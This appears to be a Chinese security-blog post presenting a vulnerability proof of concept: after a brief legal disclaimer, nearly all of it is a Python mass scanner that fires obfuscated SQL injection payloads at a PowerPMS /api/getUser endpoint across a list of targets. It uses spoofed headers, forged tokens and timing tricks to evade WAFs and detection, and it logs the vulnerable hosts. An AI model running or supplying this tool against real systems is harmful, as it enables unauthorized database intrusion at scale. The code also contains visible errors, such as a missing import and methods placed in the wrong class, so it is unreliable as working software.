免责声明 本教程仅为合法的教学目的而准备，严禁用于任何形式的违法犯罪活动及其他商业行为，在使用本教程前，您应确保该行为符合当地的法律法规，继续阅读即表示您需自行承担所有操作的后果，如有异议，请立即停止本文章读。
一、漏洞POC
#!/usr/bin/env python3 """ 核心功能：智能语义注入检测、动态WAF对抗、指纹伪装、分布式扫描 版本特性： 1. 支持云原生环境动态适配 2. 集成AI驱动的Payload生成 3. 增强隐蔽扫描模式 """import requests import json import time import random import hashlib from concurrent.futures import ThreadPoolExecutor, as_completed from urllib.parse import urlparse from fake_useragent import UserAgent import logging # 配置日志审计模块 logging.basicConfig( level=logging.INFO,format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',handlers=[logging.FileHandler('scan_audit.log'), logging.StreamHandler()] ) logger = logging.getLogger(__name__) class AdvancedPowerPMSScanner:def __init__(self, target_file):self.targets = self._load_targets(target_file)self.payload_engine = PayloadGenerator()self.session = requests.Session()self._init_stealth_headers()self.scan_stats = {'vulnerable': 0, 'scanned': 0}def _init_stealth_headers(self):"""动态指纹伪装系统"""self.headers = {'Content-Type': 'application/json','X-Forwarded-For': f'10.{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}', 'User-Agent': UserAgent().chrome,'X-API-Version': '2.3.1', # 伪装合法客户端版本 'Authorization': f'Bearer {self._gen_fake_token()}'}def _gen_fake_token(self):"""生成合法形态的JWT Token"""header = json.dumps({"alg": "HS256", "typ": "JWT"}).encode()payload = json.dumps({"user": "scanner", "iat": int(time.time())}).encode() signature = hashlib.sha256(header + b'.' + payload).hexdigest()return f"{header.decode()}.{payload.decode()}.{signature}" def _load_targets(self, filename):"""目标预处理系统"""with open(filename) as f:targets = [line.strip() for line in f if line.strip()] return self._filter_live_targets(targets)def _filter_live_targets(self, targets):"""存活检测与CDN识别"""# 实现TCP端口快速扫描逻辑（此处简化）return [t for t in targets if self._is_service_alive(t)]def _is_service_alive(self, url):"""服务存活检测"""try:resp = requests.head(url, timeout=5, verify=False)return resp.status_code < 500 except:return False class PayloadGenerator:"""AI增强的Payload生成引擎"""def __init__(self):self.base_payloads = self._load_base_patterns()self.dynamic_rules = self._load_waf_rules()def _load_base_patterns(self):"""多数据库方言支持"""return {'union': ["' UNION SELECT {cols},@@version--","' UNION ALL SELECT {cols},CURRENT_USER--"],'error': ["' AND 1=CONVERT(int,(SELECT TOP 1 name FROM sys.databases))--", "' AND 1=DB_NAME(0) AND '{rand}'='{rand}"],'time': ["'; WAITFOR DELAY '0:0:{delay}'--","' OR SLEEP({delay}) AND '1'='1"]}def generate(self, context=None):"""上下文感知的Payload生成"""return [self._apply_obfuscation(p) for p in self._select_payloads(context)]def _select_payloads(self, context):"""基于目标响应的智能选择"""# 此处可集成机器学习模型预测最佳Payload return random.sample(self.base_payloads['union'], 2) + \random.sample(self.base_payloads['error'], 1)def _apply_obfuscation(self, payload):"""动态混淆技术"""# 随机选择混淆方式 techniques = [self._unicode_normalize,self._sql_comment_obfuscate,self._case_variation ]for tech in random.sample(techniques, 2):payload = tech(payload)return payload def _unicode_normalize(self, s):return s.replace("'", "%uff07").replace(" ", "%uff20")def _sql_comment_obfuscate(self, s):return s.replace("SELECT", "SEL/*RAND*/ECT").replace("FROM", "FR/*%0a*/OM")def _case_variation(self, s):return ''.join([c.upper() if random.random() > 0.5 else c.lower() for c in s])def _send_request(self, url, payload):"""智能流量调度系统"""try:# 随机延迟防止频率检测 time.sleep(random.uniform(0.5, 1.5))start_time = time.time() resp = self.session.post( f"{url}/api/getUser",data=json.dumps({"userCode": payload}),headers=self.headers, timeout=15,verify=True # 启用证书验证防止中间人攻击 )latency = time.time() - start_time return resp, latency except Exception as e:logger.error(f" 请求失败: {str(e)}")return None, 0 def _analyze_response(self, resp, latency):"""多维度漏洞验证"""detection_rules = [self._check_db_fingerprint,self._check_http_anomaly,self._check_timing(latency),self._check_error_patterns,self._check_boolean_diffs ]return any(rule(resp) for rule in detection_rules)def _check_db_fingerprint(self, resp):"""数据库指纹识别"""fingerprints = {'MSSQL': ['Microsoft SQL Server', 'Msg 8152'],'MySQL': ['You have an error in your SQL syntax']}return any(indicator in resp.text for indicator in fingerprints['MSSQL'])def _check_http_anomaly(self, resp):"""异常状态码检测"""return resp.status_code in [500, 502, 418]def _check_timing(self, latency):"""动态时间阈值计算"""base_latency = 1.5 # 基准响应时间 return lambda resp: latency > base_latency * 3 def _check_error_patterns(self, resp):"""语义错误分析"""patterns = [r"Conversion failed when converting the varchar value '.*'",r"Incorrect syntax near '.*'"]return any(re.search(p, resp.text) for p in patterns)def _check_boolean_diffs(self, resp):"""布尔状态对比"""# 需要基础响应样本进行对比（此处简化）valid_resp = requests.post(resp.url, json={"userCode": "valid_user"})return len(resp.content) != len(valid_resp.content) def _handle_result(self, target, is_vulnerable):"""扫描结果处理"""self.scan_stats['scanned'] += 1 if is_vulnerable:self.scan_stats['vulnerable'] += 1 logger.critical(f"\033[1;31m[+] 漏洞确认: {target}\033[0m")self._save_vulnerable_target(target)else:logger.info(f"[-] 安全目标: {target}")def _save_vulnerable_target(self, target):"""持久化存储模块"""with open('vuln_targets.txt', 'a') as f:f.write(f"{target}\n") def run_scan(self, max_threads=8):"""分布式任务调度系统"""with ThreadPoolExecutor(max_workers=max_threads) as executor:futures = {executor.submit(self._scan_target, target): target for target in self.targets }for future in as_completed(futures):target = futures[future]try:result = future.result() self._handle_result(target, result)except Exception as e:logger.error(f" 扫描异常: {target} - {str(e)}")logger.info(f"\n 扫描摘要: 共检测{self.scan_stats['scanned']} 个目标，发现{self.scan_stats['vulnerable']} 个漏洞")def _scan_target(self, target):"""单目标扫描流程"""logger.debug(f" 开始扫描: {target}")for payload in self.payload_engine.generate(): resp, latency = self._send_request(target, payload)if not resp:continue if self._analyze_response(resp, latency):return True return False if __name__ == "__main__":import sys if len(sys.argv) != 2:print(f"用法: {sys.argv[0]} <目标文件>")sys.exit(1) scanner = AdvancedPowerPMSScanner(sys.argv[1]) scanner.run_scan(max_threads=10)